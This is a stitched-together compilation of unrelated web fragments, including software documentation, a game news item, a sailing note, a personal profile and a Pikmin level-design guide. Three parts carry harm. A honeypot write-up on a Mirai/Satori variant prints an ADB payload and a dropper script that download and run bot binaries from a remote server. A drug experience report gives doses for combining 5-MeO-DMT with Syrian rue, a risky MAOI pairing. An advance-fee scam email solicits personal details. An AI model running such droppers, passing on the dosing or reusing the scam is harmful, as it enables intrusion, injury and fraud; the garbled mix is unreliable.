A few ajax includes, brought in via one request. Note: Demo requires a PHP web server, due to the particular proxy script in use, so run locally to test!


JavaScript Array Functions Tutorials
Map, reduce, and filter are all array methods in JavaScript. Each one will iterate over an array and perform a transformation or computation. Each will return a new array based on the result of the function.


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Well, over the past year I have gone through about 600mg of 5-MeO-DMT by way of smoking. I have come to really love this substance (quite contrary to most peopleís feelings), and see it as probably the best (bar none) drug transaction I have ever made.
Now I haven't taken it orally w/o a MAOI, but I do believe I have some things to add here. My favorite method of ingestion is to take 8 to 10 grams of crushed Syrian rue (certainly over shooting the target for maoi, more on this later), then 30mgs of 5-MeO-DMT sublingually about 15 minutes after. It indeed does dissolve completely in less than 5 minutes (being careful to swallow a minimum), and I did feel effects within 5 minutes of that. I did this all around 11:00pm.
The first 2 hours was totally uncharacteristic of 5-MeO-DMT. I was tripping lightly, slight visual disturbances, and I believe I would say that on-line comments I have seen are correct in the raise of blood pressure (though conversely I wouldn't say I felt it was dangerously high). At about the two-hour mark, the trip changed drastically. Much more like 5-MeO-DMT smoked, and almost instantly.
My body had calmed, and I felt it start to wash over me in a familiar way. I turned off my computer monitor and the lights in my room (as light of any type annoys me on 5-MeO-DMT) and sat back on my bed. Over the course of the next 4 hours I saw the most amazing visuals I have ever experienced in my life. Eyes opened or closed, colors were swirling everywhere. For one brief instant, they even formed into what looked like a stained glass window depiction of the sun rising (or falling?) over a hill. This went on until I'm guessing about 5:00am, when I began to vomit (much to my carpet's dismay, first time puking from anything other than alcohol btw), after which I curled up and passed out for I have no idea how long, but I'm guessing about another 3 hours as I was flooded by daylight the moment I opened my eyes.
So I'm coming down, right? Heh, right. I feel this perfect sense of calm, lots of big tracers, I look around and notice the vomit after playing with tracers crossed my ceiling for what was probably an hour. I hop up to use the Internet to find how to remove vomit stains from carpet. Only I in no way could operate a simple search engine, I end up convinced the Internet is not working and get up to take a bath. While in the bath I turned on the radio and kicked back. This is honestly where it got weird. While in the bath whenever I ran the water I heard a inconsistent ringing that sounded exactly like our phone, when the water was off I hear whispering voices which I could faintly make out.
I had heard of these things before but had never experienced them myself. My mind not wired strait, I didn't think for a moment that what I was hearing wasn't real. I sat in there until my room mate knocks on the door asking if I'm ok, I tell him yes, fine just tripping. I hop out and check the clock and I had been in there from 9:00am to 1:00pm. I went out to discuss it with my roommate, I asked why nobody had gotten the phone the whole time. 'What phone'? Thatís when I realized what had been going on. For those last few hours I felt what I could only describe as total calm and bliss (way better than any experience I've had rolling, only none of the neat touchy physical effects, and this was a more relaxed state). This lasted until 3:00pm when it gradually tapered of through the day.
---------
Alright, I don't believe the 5-MeO-DMT primarily influenced this trip. I think it was certainly the knock me on my ass power behind it, but the flavor was definitely the Syrian rue. The visuals, though much more intense, were very similar to those I have on high Syrian rue dosages combined with mushrooms. Second, due to a follow-up experiment (with a friend of mine that has also quite the taste for smoked 5-MeO-DMT), I believe the duration was also mainly influenced by the Syrian rue. He ingested the exact dosages in the same manner, same size guy. 30 minutes into it, he began to throw up. He spent an hour on the ground in the bathroom, puking occasionally, after which he spent about 3 hours tripping strong, but not in any way the intensity I had experienced. He came quickly to baseline after that.
I guess what I'm getting at is, while I have no doubt at all that 5-MeO-DMT is orally/sublingually active w/o an MAOI, or more specifically the harmala alkaloids. I feel that what it really has to offer comes from mixing the two.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


This section is a brief overview of how to get started with GTS. See Programming Model for the gritty details.
Worker Pool
A Worker Pool is the fundamental executor of CPU work. It determines how SW Worker threads are mapped to a processor's HW threads. By default, GTS creates one SW thread per HW thread to avoid oversubscription.
A collection of running Worker threads that a MicroScheduler can be run on.
Definition: WorkerPool.h:54
bool initialize(uint32_t threadCount=0)
Micro-scheduler
A Micro-scheduler defines the scheduling policy of work onto a Worker Pool. It is the fundamental scheduler of work onto the CPU. It creates and consumes Tasks as a fundamental unit of work. A Micro-scheduler is always mapped to a Worker Pool with a 1:1 mapping between Local Schedulers and Workers.
A work-stealing task scheduler. The scheduler is executed by the WorkerPool it is initialized with.
Definition: MicroScheduler.h:81
bool initialize(WorkerPool *pWorkerPool)
Initializes the MicroScheduler and attaches it to pWorkPool, where each worker in pWorkPool will exec...
Example
This program increments the values of all elements in a vector using a parallel-for pattern.
#include "gts/micro_scheduler/WorkerPool.h"
#include "gts/micro_scheduler/MicroScheduler.h"
#include "gts/micro_scheduler/patterns/ParallelFor.h"
...
gts::WorkerPool workerPool;
std::vector<int> vec(1000000, 0);
parFor(vec.begin(), vec.end(), [](std::vector<int>::iterator iter) { (*iter)++; });
for (auto const& v : vec)
{
}
printf("Success!\n");
taskScheduler.shutdown();
A construct that maps parallel-for behavior to a MicroScheduler.
Definition: ParallelFor.h:48
#define GTS_ASSERT(expr)
Causes execution to break when expr is false.
Definition: Assert.h:144
Ouput:
Macro-scheduler
A Macro-scheduler is a high level scheduler of persistent task DAGs. It produces Schedules onto Compute Resources, like the Micro-scheduler. The Task DAGs are formed by Nodes, with each Node containing Workloads that define what Compute Resource it can be scheduled to.
MicroScheduler_ComputeResource microSchedulerCompResource(µScheduler, 0, 0);
pMacroScheduler->
init(macroSchedulerDesc);
A generalized DAG scheduler utilizing work stealing. This scheduler delegates its responsibilities to...
Definition: CentralQueue_MacroScheduler.h:58
A MacroScheduler builds ISchedules for a set of ComputeResources from a DAG of Node.
Definition: MacroScheduler.h:50
virtual bool init(MacroSchedulerDesc const &desc)=0
The description of a MacroSchedulerDesc to create.
Definition: MacroSchedulerTypes.h:60
gts::Vector< ComputeResource * > computeResources
The ComputeResource that the MacroScheduler can schedule to.
Definition: MacroSchedulerTypes.h:62
Example 1
This program builds a DAG of Nodes, where each Node prints its name. For this example we use the Dynamic Micro-scheduler implementation of the Macro-scheduler.
#include "gts/micro_scheduler/WorkerPool.h"
#include "gts/micro_scheduler/MicroScheduler.h"
#include "gts/macro_scheduler/Node.h"
#include "gts/macro_scheduler/compute_resources/MicroScheduler_Workload.h"
#include "gts/macro_scheduler/compute_resources/MicroScheduler_ComputeResource.h"
#include "gts/macro_scheduler/schedulers/homogeneous/central_queue/CentralQueue_MacroScheduler.h"
...
gts::WorkerPool workerPool;
pMacroScheduler->
init(macroSchedulerDesc);
pA->addChild(pB);
pA->addChild(pC);
pB->addChild(pD);
pC->addChild(pD);
pMacroScheduler->
executeSchedule(pSchedule, microSchedulerCompResource.id(),
true);
virtual Schedule * buildSchedule(Node *pStart, Node *pEnd)=0
virtual void executeSchedule(Schedule *pSchedule, ComputeResourceId id)=0
A ComputeResource that wraps a MicroScheduler.
Definition: MicroScheduler_ComputeResource.h:53
A concrete lambda Workload that maps to the MicroScheduler.
Definition: MicroScheduler_Workload.h:116
GTS_INLINE TWorkload * addWorkload(TArgs &&... args)
Allocates a new Workload object of type TWorkload.
Definition: Node.h:174
The execution schedule for all ComputeResources.
Definition: Schedule.h:45
Ouput:
or
Example 2
This program builds a DAG of Nodes, where Node runs a more fine-grained computation using a Micro-scheduler. The DAG can be seen as an execution flow that organizes the lower level computation. In this example we will divide up execution on a vector over the Nodes.
std::vector<int> vec(1000000, 0);
{
parFor(vec.begin(), vec.end(), [](std::vector<int>::iterator iter) { (*iter)++; });
});
{
parFor(vec.begin(), vec.begin() + vec.size() / 2, [](std::vector<int>::iterator iter) { (*iter) += 2; });
});
{
parFor(vec.begin() + vec.size() / 2, vec.end(), [](std::vector<int>::iterator iter) { (*iter) += 3; });
});
{
parFor(vec.begin(), vec.end(), [](std::vector<int>::iterator iter) { (*iter)++; });
});
pA->addChild(pB);
pA->addChild(pC);
pB->addChild(pD);
pC->addChild(pD);
pMacroScheduler->
executeSchedule(pSchedule, microSchedulerCompResource.id(),
true);
for (auto iter = vec.begin(); iter != vec.begin() + vec.size() / 2; ++iter)
{
}
for (auto iter = vec.begin() + vec.size() / 2; iter != vec.end(); ++iter)
{
}
printf ("SUCCESS!\n");
Ouput:
Examples Source


{{ _('Are you sure you want to delete this answer?') }}
{{ answer.creator }}
{{ datetimeformat(answer.created, format='longdatetime') }}
{{ answer.content_parsed }}
{% extends "questions/base.html" %} {# L10n: {t} is the title of the question. #} {% set title = _('Delete Answer | {t} | Firefox Support Forum')|f(t=answer.question.title) %} {% set crumbs = [(url('questions.home'), _('Support Forums')), (url('questions.details', answer.question.id), answer.question.title), (None, _('Delete answer'))] %} {% block content %}


Bad North: Jotunn Edition is free on the Epic Game Store, Rayman Legends coming next
by Stephany NunneleyReal-time tactics meets rogue-like Bad North: Jotunn Edition is free on the Epic Game Store.
Bad North: Jotunn Edition is the latest free game offering through the Epic Games Store. It’s free until November 29.
In it, you will do your best to defend your island kingdom against a horde of Viking invaders. Position and relocate your troops to fend off enemies, and beware because they have their own counters. Also, if you lose a commander in battle they are gone forever. If you lose everything, it’s game over. Expect procedurally generated islands, and unlockable upgrades to use on your troops.
Next week it will be replaced by Rayman Legends. In the platformer-action game, you will run through over 100 maps and can connect with friends through a variety of challenges and have a look at leaderboards to see where you rank.
Last week’s free game was The Messenger.


Pemangkat is a small, relatively sleepy fishing town in the far west of Kalimantan. It is located northwest of the provincial capital of Pontianak.
Pemangkat has a famous temple built as the worship place to the God that Chinese locals believe protects fishermen when sailing out to sea. This small town still holds many traditions of Chinese culture that are rarely seen elsewhere.
Position 01° 11'08"N, 108° 57'48"E
This is not an official Port of Entry.
There is secure anchoring inside the river in 17 feet, mud.
Shallow depths and fish traps across the river make it advisable to use a dinghy to reach the town, although with local knowledge it is likely passable.
The local Navy post can provided a great deal of friendly assistance to cruisers.
Other than the Harbour Master, very little English is spoken here.
Last updated July 2013.


We function and run circles in campus, corporate and community, to create the much needed traction for women leadership development in our country.
Creating an ecosystem to nurture and promote ambition in young minds.
Peer growth and collaborative learning model in organisations to take up more leadership roles.
Connecting peers who wish to directly engage with the society and create impact.
Events in 2017
Members
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Know MoreDonec facilisis tortor ut augue lacinia, at viverra est semper. Sed sapien metus, scelerisque nec pharetra id, tempor a tortor. Pellentesque non dignissim neque.


The Big Five are four tech companies described as driving a large amount of growth in technology. The Five companies are Alphabet Inc., Apple Inc., Facebook, Amazon and Microsoft. The Big Five are sometimes referred to as GAFAM, an acronym for Google, Apple, Facebook, Amazon and Microsoft.
Silicon Valley (sometimes abbreviated as SV) is a region in the southern San Francisco Bay Area of Northern California which serves as a global center for high technology, innovation and social media. It corresponds roughly to the geographical Santa Clara Valley. San Jose is the Valley's largest city, the third largest in California, and the tenth largest in the United States. Other major Silicon Valley cities include Palo Alto, Santa Clara, Mountain View, and Sunnyvale. The San Jose Metropolitan Area has the third highest GDP per capita in the world (after Zurich, Switzerland and Oslo, Norway), according to the Brookings Institution.
The word "silicon" originally referred to the large number of silicon chip innovators and manufacturers in the region, but the area is now the home to many of the world's largest high-tech corporations, including the headquarters of 39 businesses in the Fortune 1000, and thousands of startup companies. Silicon Valley also accounts for one-third of all of the venture capital investment in the United States, which has helped it to become a leading hub and startup ecosystem for high-tech innovation and scientific development. It was in the Valley that the silicon-based integrated circuit, the microprocessor, and the microcomputer, among other key technologies, were developed. As of 2013, the region employed about a quarter of a million information technology workers.
As more high-tech companies were established across San Jose and the Santa Clara Valley, and then north towards the Bay Area's two other major cities, San Francisco and Oakland, the "Silicon Valley" has come to have two definitions: a geographic one, referring to Santa Clara County, and a metonymical one, referring to all high-tech businesses in the Bay Area. The term is now generally used as a synecdoche for the American high-technology economic sector. The name also became a global synonym for leading high-tech research and enterprises, and thus inspired similar named locations, as well as research parks and technology centers with a comparable structure all around the world.


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Variant of Satori/Mirai detected attacking public available ADB shells
On the 10th of July at 23:30 UTC we noticed an increased traffic on our blackhole monitoring on TCP port 5555. Upon further analysis, we saw a big chunk of this traffic coming from China, USA and the Dominican Republic. In total we gathered 246.434 packets from 68.361 unique IPs. Based on the packet details we gathered, we can assume that the packets were generated by a lot of different devices. In addition, the traffic behavior on port 5555 matches the typicall scan behavior of botnets.
Inspecting the payload and stumbling on old friends
The payload registered and captured by out T-Pot honeypots (35.204) looks like this:
CNXN 2 host::OPEN ]+shell:>/sdcard/Download/f && cd /sdcard/Download/;
>/dev/f && cd /dev/; busybox wget http://<IP_ADDRESS>/adbs -O -> adbs; sh adbs; rm adbs
The first chars of this payload are Android Debug Bridge (ADB) commands, used for initiating a connection to a debug channel. This connection is then used to execute a shell command.
Let’s examine the command:
>/sdcard/Download/f && cd /sdcard/Download/;
Short shell builtin for clearing (or touching) the file >/sdcard/Download/f
and changing to this folder.
>/dev/f && cd /dev/;
Same as above, just with a different file (and folder).
busybox wget http://<IP_ADDRESS>/adbs -O -> adbs; sh adbs; rm adbs
Download adbs
from dropper server, execute it and remove it. The rm
is used to cover up tracks and only keep the bot/malware in memory.
Searching for this IP reveals it was already detected some time ago in correlation to the Satori botnet.
Analyzing the dropped file
The downloaded adbs
shellscript looks like this:
#!/bin/sh
n="arm.bot.le mips.bot.be mipsel.bot.le arm7.bot.le x86_64.bot.le i586.bot.le i686.bot.le"
http_server="<IP_ADDRESS>"
for a in $n
do
cp /system/bin/sh $a
>$a
busybox wget http://$http_server/adb/$a -O -> $a
chmod 777 $a
./$a
done
for a in $n
do
rm $a
done
This is a simple script to download the malware compiled for different architectures and execute them (all one by one). Dirty approach – but works.
Another variant of Satori?
Having a deeper look at the downloaded binaries, this looks like another modified version of Mirai or Satori, adjusted to exploit public available ADB devices. Heading over to VirusTotal, only five engines detect this binary (ELF;Mira-RQ) until now. First date of detection: 2018-07-09 09:20.
We can find the same table_unlock
function mentioned in the previous linked blog article, indicating a variant or at least code shared between the two. Compare this screenshot from the blog post:
With what we can find in the new binary:
As usualy seen in a Mirai bot, strings are “encrypted” with a simple XOR. Decrypting with 0x31
leads to the following results:
LOLNOGTFO – kills bot [1]
KILLATTK - kills any ongoing attacks [1]
GETSPOOFS - ???
GAYFGT – sth. reporting related? [1]
And the following domains:
i.rippr.cc -> <IP_ADDRESS> (TXT record)
p.rippr.cc -> <IP_ADDRESS> (TXT record)
[1] Similar commands found here on a blog.
Files
1. http://<IP_ADDRESS>/i686.bot.le - 1eddee13762d7996c02b4c57fa3f8ffc
2. http://<IP_ADDRESS>/arm.bot.le - d01f194c374eebb9235291e34bc0d185
3. http://<IP_ADDRESS>/arm7.bot.le - d10c1591aee800a5f37f654f1ecd20a8
4. http://<IP_ADDRESS>/x86_64.bot.le - 4e4fc7e7599e5bd07e097a2f313486fe
5. http://<IP_ADDRESS>/mips.bot.be - a18b0d1401305588107e58054e6aa2ab
6. http://<IP_ADDRESS>/mipsel.bot.le - 9689cc9fe613b735fa1d386dffcdd6d8
7. http://<IP_ADDRESS>/i586.bot.le - 61f0bad58d28e73d1ef29b9574d28e41


Please check back later.{% endblocktrans %}


Pizza Hub is one of the most recognizable pizza joints in Nairobi.
Whichever
way you slice it, Pizza Hub is an industry leader in the quick service pizza game.
Serving hot oven-fresh pizza with its signature all-natural tomato sauce
and using only
the freshest ingredients, the pizzas are generously sprinkled with a variety of toppings that make it a sheer delight to eat
These are all your all-time favorite and budget-friendly pizzas
Good food is always cooking! Go ahead, order some yummy pizza from the Menu.


>From The Desk Of Barrister Helen Hill (Esq). Email: {<EMAIL_ADDRESS>I am Barrister Helen Hill I am an attorney to a deceased American Immigrant, who was a business man/contractor in my country with the Crude Oil sector of the government.Nigeria National Petroluem Co-opration.{NNPC} Here-in-after shall be referred to as my client.On the 30th of March 2002, my client, his wife and their three Children died in the Kenyan Airways plane crash from U.A.E. Since then I have been managing his properties, and a contract, which he executed for the Department of Petroleum Resources (DPR), Which I monitored the payment as his attorney. Now the money for the contract has been deposited in a bank which I would want you to assist in repatriating before it gets confiscated by the government, Particularly,the bank has issued me a notice to provide the next of kin or have the account confiscated within a short period of time.The deceased has an account Valued at $28 million dollars (USD). Since I have been unsuccessful in locating the relatives for over 7 months, now I seek Your consent to present you as the next of kin of the deceased, so that the proceeds of this account valued at $28 million dollars can be paid to you and then you, I and his account officer would share the money. 55% to me and the accountant, 40% for you, 5% for miscellaneous expenses that might arise. I have all necessary information that can be used to back up any Claim we may make. All I require is your honest co-operation to enable us to see this deal through.I guarantee that this will be executed under a legitimate arrangement that will protect you from any breach of the law. Please get in touch with me by my E-mail address with your full names and address,personal telephone and fax numbers to enable us discuss further about this transaction. N.B. P:S. your response should be directed to { } for urgent attention. Best regards, Barr. Helen Hill (ESQ).


The LoCloud Geocoding Microservice is a lightweight SaaS Cloud application that makes it easy to add coordinates to any existing tabular data.
The application is designed to be easy to deploy on the most common hosting platforms and is built exclusively using Open Source software components.
The internal communication in the application is based on the following Open Standards
Furthermore, the application makes use of online spatial data services both as searchable databases and map backgrounds
The solution is capable of running on Linux/Windows - Apache - MySQL and PHP (LAMP/WAMP) platforms meeting the below requirements:


I'm a master student at Nagoya Institute of Technology and will graduate in March 2020. My interests are designs of human-computer interaction, machine learning agents for helping human, and data science related to human behaviors.
As my experiences, I belonged to the robot contest club in Nagoya Institute of Technology and controlled the automatical robot, image processing, SLAM, team management, and so on. As internships, I analyze e-mail data and medical data by Python to implement machine learning technologies and statistical analysis. My study is to propose a new protocol for human-agent interaction from the view of negotiation.
E-mail classification and tabulation. http://www.edge-consulting.jp/
Preparing for holding a PRIANAC, competition of automated negotiaiton. https://www.airc.aist.go.jp/en/project/overview.html http://web.tuat.ac.jp/~katfuji/PRIANAC2018/index.html
Learning practical Machine Learning and its environments, then giving presentations related to them. https://techlife.cookpad.com/entry/2018/08/31/093000
Analyzing the gas generated from human skin and detect the cause of disease. http://www.pico-device.co.jp/
Studying multi-agent systems. https://www.uow.edu.au/~minjie/
Studying multi-agent systems, automated negotiation.
Studying multi-agent systems.
We make robots to aim to win NHK Students Robot Contest. For example, this picture shows a badminton robot which plays automatically. My works in this club are automatical robot control, image processing, SLAM (Simultaneous Localization and Mapping), team management, and so on.
View ProjectJupiter is a negotiation environment that implements an open architecture for automated negotiating agents. It provides a testbed for negotiating agents like Genius, a previous work about negotiation environment. Jupiter can work on Jupyter Notebook and it is easy to implement and experiment machine learning algorithms.
View Project


This is Android phone view
This is Tablet view
This is Desktop view
This is Widescreen Computer view


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| raw2tiff - create a TIFF file from a raw data |
| raw2tiff [ options ] input.raw output.tif |
| raw2tiff converts a raw byte sequence into TIFF. By default, the TIFF image is created with data samples packed (PlanarConfiguration=1), compressed with the PackBits algorithm (Compression=32773), and with each strip no more than 8 kilobytes. These characteristics can overridden, or explicitly specified with the options described below. |
| -H <number> |
| size of input image file header in bytes (0 by default). This amount of data just will be skipped from the start of file while reading. |
| -w <number> |
| width of input image in pixels (can be guessed, see GUESSING THE IMAGE GEOMETRY below). |
| -l <number> |
| length of input image in lines(can be guessed, see GUESSING THE IMAGE GEOMETRY below). |
| -b <number> |
| number of bands in input image (1 by default). |
| -d data_type |
|
type of samples in input image, where data_type may
be: byte 8-bit unsigned integer (default), short 16-bit unsigned integer, long 32-bit unsigned integer, sbyte 8-bit signed integer, sshort 16-bit signed integer, slong 32-bit signed integer, float 32-bit IEEE floating point, double 64-bit IEEE floating point, |
| -i config |
|
type of samples interleaving in input image, where
config may be: pixel pixel interleaved data (default), band band interleaved data. |
| -p photo |
|
photometric interpretation (color space) of the input image,
where photo may be: miniswhite white color represented with 0 value, minisblack black color represented with 0 value (default), rgb image has RGB color model, cmyk image has CMYK (separated) color model, ycbcr image has YCbCr color model, cielab image has CIE L*a*b color model, icclab image has ICC L*a*b color model, itulab image has ITU L*a*b color model, |
| -s |
| swap bytes fetched from the input file. |
| -L |
| input data has LSB2MSB bit order (default). |
| -M |
| input data has MSB2LSB bit order. |
| -c |
| Specify a compression scheme to use when writing image data: -c none for no compression, -c packbits for the PackBits compression algorithm (the default), -c jpeg for the baseline JPEG compression algorithm, -c zip for the Deflate compression algorithm, and -c lzw for Lempel-Ziv & Welch. |
| -r <number> |
| Write data with a specified number of rows per strip; by default the number of rows/strip is selected so that each strip is approximately 8 kilobytes. |
| raw2tiff can guess image width and height in case one or both of these parameters are not specified. If you omit one of those parameters, the complementary one will be calculated based on the file size (taking into account header size, number of bands and data type). If you omit both parameters, the statistical approach will be used. Utility will compute correlation coefficient between two lines at the image center using several appropriate line sizes and the highest absolute value of the coefficient will indicate the right line size. That is why you should be cautious with the very large images, because guessing process may take a while (depending on your system perfomance). Of course, the utility can't guess the header size, number of bands and data type, so it should be specified manually. If you don't know anything about your image, just try with the several combinations of those options. |
| There is no magic, it is just a mathematical statistics, so it can be wrong in some cases. But for most ordinary images guessing method will work fine. |
| pal2rgb(1), tiffinfo(1), tiffcp(1), tiffmedian(1), libtiff(3) |


Luke Duane
My name is Luke and I am a cool dude. I love to chill and relax with my homies.
Michael Sills
My name is Michael and I am a cool dude too. I also love to chill, relax, and throw the pigskin around.
Catherine Badart
Hey its Cat. I love peppermint mochas. Something unique about me is that I also love netflix.
Ann Keenan
Hi, I'm Ann. I'm an avid listener of podcasts and am constantly too cold despite winter being my favorite season.


PrimeNG menus components share a common api to specify the menuitems and submenus.
Core of the api is MenuItem class that defines various options such as the label, icon and children of an item in a menu. Example below is a sample configuration with Menu component.
All menu components except MegaMenu uses MenuItem[] as the model, in the case of MegaMenu root level items should be MegaMenuItem[] whereas nested submenus can be MenuItem[]. See the MegaMenu documentation for samples.
MenuItem provides the following properties. Note that not all of them may be utilized by the menu component.
| Name | Type | Default | Description |
|---|---|---|---|
| id | string | null | Identifier of the element. |
| label | string | null | Text of the item. |
| icon | string | null | Icon of the item. |
| command | function | null | Callback to execute when item is clicked. |
| url | string | null | External link to navigate when item is clicked. |
| routerLink | array | null | RouterLink definition for internal navigation. |
| routerLinkActiveOptions | object | null | Configuration for active router link. |
| queryParams | object | null | Query parameters for internal navigation via routerLink. |
| fragment | string | null | Sets the hash fragment for the URL. |
| queryParamsHandling | QueryParamsHandling | null | How to handle query parameters in the router link for the next navigation. One of: merge : Merge new with current parameters. preserve : Preserve current parameters.k. |
| preserveFragment | boolean | false | When true, preserves the URL fragment for the next navigation. |
| skipLocationChange | boolean | null | When true, navigates without pushing a new state into history. |
| replaceUrl | boolean | null | When true, navigates while replacing the current state in history. |
| state | object | null | Developer-defined state that can be passed to any navigation. |
| items | array | null | An array of children menuitems. |
| expanded | boolean | false | Visibility of submenu. |
| disabled | boolean | false | When set as true, disables the menuitem. |
| visible | boolean | true | Whether the dom element of menuitem is created or not. |
| target | string | null | Specifies where to open the linked document. |
| escape | boolean | true | Whether to escape the label or not. Set to false to display html content. |
| separator | boolean | false | Defines the item as a separator. |
| style | object | null | Inline style of the menuitem. |
| styleClass | string | null | Style class of the menuitem. |
| badge | string | null | Value of the badge. |
| badgeStyleClass | string | null | Style class of the badge. |
| title | string | null | Tooltip text of the item. |
| automationId | any | null | Value of HTML data-* attribute. |
| tabindex | string | 0 | Specifies tab order of the item. |
| tooltipOptions | TooltipOptions | - | Options of the item's tooltip. |
The function to invoke when an item is clicked is defined using the command property.
Navigation is specified using url property for external links and with routerLink for internal ones. If a menuitem has an active route, p-menuitem-link-active style class is added as an indicator. Active route link can be configured with routerLinkActiveOptions property of MenuItem API.
Label of a menuitem both supports simple strings and html values as well. By default, html values are escaped, use escape property to allow html.


 The plot concerns a previously domesticated happy dog named Buck,…
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Charles Dickens
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When a modal form submission returns a JSON response, the modal will close automatically and handle the JSON accordingly. If the JSON response has a callback
property defined, the callback will be immediately executed.
Inspect the develop console and give it a try!


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Ext.NET Mobile
4.1.0
.NET Component Framework for Enterprise Level Apps
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Public Member Functions | |
| Builder (TToolbarBase component) | |
| virtual TBuilder | DefaultButtonUI (string defaultButtonUI) |
| virtual TBuilder | DefaultFieldUI (string defaultFieldUI) |
| virtual TBuilder | DefaultFooterButtonUI (string defaultFooterButtonUI) |
| virtual TBuilder | DefaultFooterFieldUI (string defaultFooterFieldUI) |
| virtual TBuilder | DefaultType (string defaultType) |
| The default type of content Container represented by this object as registered in Ext.ComponentMgr (defaults to 'panel'). More... | |
| virtual TBuilder | Flat (bool flat) |
| True to use flat style. More... | |
| virtual TBuilder | ClassicButtonStyle (bool classicButtonStyle) |
| True to use classic (none-flat) style. More... | |
| virtual TBuilder | EnableOverflow (bool enableOverflow) |
| Configure true to make the toolbar provide a button which activates a dropdown Menu to show items which overflow the Toolbar's width. More... | |
| virtual TBuilder | OverflowHandler (OverflowHandler overflowHandler) |
| virtual TBuilder | Title (string title) |
| virtual TBuilder | Vertical (bool vertical) |
| Set to true to make the toolbar vertical. The layout will become a vbox. Defaults to: false More... | |
| TToolbarBase | : | ToolbarBase | |
| TBuilder | : | Builder | |
| TBuilder | : | TToolbarBase | |
| TBuilder | : | TBuilder |
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inline |
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inlinevirtual |
True to use classic (none-flat) style.
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inlinevirtual |
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inlinevirtual |
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inlinevirtual |
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inlinevirtual |
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inlinevirtual |
The default type of content Container represented by this object as registered in Ext.ComponentMgr (defaults to 'panel').
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inlinevirtual |
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inlinevirtual |
True to use flat style.
|
inlinevirtual |
|
inlinevirtual |
|
inlinevirtual |
Set to true to make the toolbar vertical. The layout will become a vbox. Defaults to: false


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What Parents Tell Us: How to Prepare Children for 2030
Posted by Kimberly Johnson
Dec 6, 2013
古之学者为己，今之学者为人。我们用心做，您来细细品。您也可以 先下载一个应用程序（App），有空再慢慢看。
At AltSchool, we’re always looking to learn from parents. Their hopes and desires directly impact the decisions we make.
The process of understanding parents begins when they learn about AltSchool at our info sessions. Using a human-centered design approach, we ask parents:
What type of education will best prepare your children for 2030？
Parents write their answers on post-it notes. We read and discuss their responses during the session.
Hundreds of parents and post：its later, we have a pretty broad spectrum of responses.
So, what do parents tell us？
Using a wonderful little tool called Wordle, we made a word cloud of parent responses:
What type of education will best prepare your children for 2030
Bigger words indicate more mentions. In this word cloud, “global" and “technology” are most prominent, but there’s more to it than that. Let’s dig deeper into what parents tell us when they mention these two words.
硅谷 Technology is clearly important to prepare children for 2030, but we know parents don’t just want technology for its own sake. Parents say they want an education that:
--“integrates technology, not as an add-on"
--“empowers students to incorporate the ever-changing world of technology”
--“[encourages] creative consumption of technological resources”
These answers are exactly in line with our principles. At AltSchool, we believe it’s critical to be thoughtful about the use of technology and not just deploy it for the sake of having the latest gadgets. Our technology never replaces teachers: it supports them.
For example, we’re building digital platforms to allow teachers to create Personalized Learning Plans for every student.
We’re also creating technology to help parents feel involved in their children’s education - something we’ve heard is extremely important to our current and prospective families.
Finally, we complement our interactive, project--based approach in the classroom with digital learning tools that are carefully curated by our educators as part of each student’s plan.
We also know a global education is important to parents. We provide opportunities for students to learn about international culture and events, whether they’re celebrating Dia de los Muertos or collecting children’s items for Typhoon Haiyan relief. AltSchool students also have Spanish instruction via Skype with a teacher from Ecuador. We’ll be adding Mandarin 普通话 next year.
We recognize the value in the long-tail answers, too. Looking at answers that didn’t make it into the word cloud, we found the following skills mentioned:
--“Understand the value of day-dreaming and how to apply it”
--“Find solutions where others stopped looking"
--“Understand very complex systems, like food, water, and technology markets”
Discussion of these skills is already creating a buzz匆忙 around our classroom.
Of course, what parents write on post--its is only a small piece of our design process. We incorporate parents, teachers, and students into all parts of our development to continuously improve the learning experience.
Join us at our next info session to be a part of our ongoing collaboration for a better education.
Together, we can change the future of education
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version:1.0<EMAIL_ADDRESS>© retter2012.com


When making a Pikmin area, there are some tips and guidelines you can follow to make sure your area looks good and plays well. This guide is made for Pikifen, but it can also work for any fan-made Pikmin-like area. This page will not include very obvious tips, like "your area should have objects".
The tips and processes in this page are just recommendations. Feel free to follow them to the letter, change them up, or skip them altogether. Trust your instincts and follow player feedback more than anything.
As you follow this page, feel free to tick the checkmarks to make sure no potential problem escapes your grasp! (Keep in mind the checks may be lost if you close or reload the page, though.)
Stages
- Developing an area involves a lot of iterating.
- Every once in a while, things like the area's design, geometry, difficulty, gimmicks, pacing, and so on need to be partially or completely rebuilt as you come up with bug fixes, improvements, or better ideas.
- Ideally, you should create an area with this page's top-down approach.
- By creating your area while following this series of steps, you start from a general idea, and finish at the fully-detailed area. This way, you can keep tabs on a lot of problems you wouldn't otherwise think of, as well as minimize how much content goes to waste due to iterating.
- It's okay to not have all the right answers at first.
- During an area's development, it's very normal to change your mind many times, going back and redoing things, or not having all of the answers to the questions posed in each stage.
Concept stage
Overview
- The concept stage is all about detailing what you want out of the area, so that you can keep a consistent plan all throughout.
- Without it, your area will feel disconnected and random, and you won't even have a good grasp on what things are right or wrong for the area you are trying to make.
- You'll want to actually write the overview down.
- For this, you should really create a text file or grab a piece of paper.
- Jot down everything you can think of. The following checklist will help.
- As you write down what the area should be like, you should try going from the most important things to the least important. If you follow the following checklist, try to do it in order.
Checklist
Bubble diagram stage
Overview
- Pikmin gameplay involves a lot of complex navigation, and it's important that your area nails this aspect.
- This includes moving back-and-forth from the base to points of interest, taking multiple paths, opening shortcuts, managing the movement of the player's leader and their Pikmin simultaneously, and more.
- The bubble diagram will help you make a solid foundation.
- With it, you'll get a good feel for the flow of movement, physicality, space, and size of the area and its components.
- You'll want to actually draw the diagram.
- For this, you can start a new digital drawing or grab a sheet of paper.
- The idea is to draw area sections and their connections.
- Each bubble in the diagram represents a section of your area.
Sections
- A section is any part of the area that is distinct from the other parts.
- So stuff like the landing site, a room, an arena, a clearing, and so on.
- Try to give each one a name.
- If you can't come up with one, then it probably doesn't qualify.
- When thinking about what sections of the area you want, keep in mind their nature, physicality, and lore.
- Things like how rivers are usually born on rocky terrain, how tree stumps don't usually come in small sizes, and how ceramic fragments are usually not too far off from a broken vase.
- Landmarks are important.
- As detailed here, players need landmarks in order to help mentally map out the area. Striking a good balance with landmark location, importance, and amount is important.
- Keep in mind the gameplay aspects.
- Like how long it takes to get from one segment to another, how many times each one is revisited, etc.
- There is no problem with a few of them being a bit undefined for now.
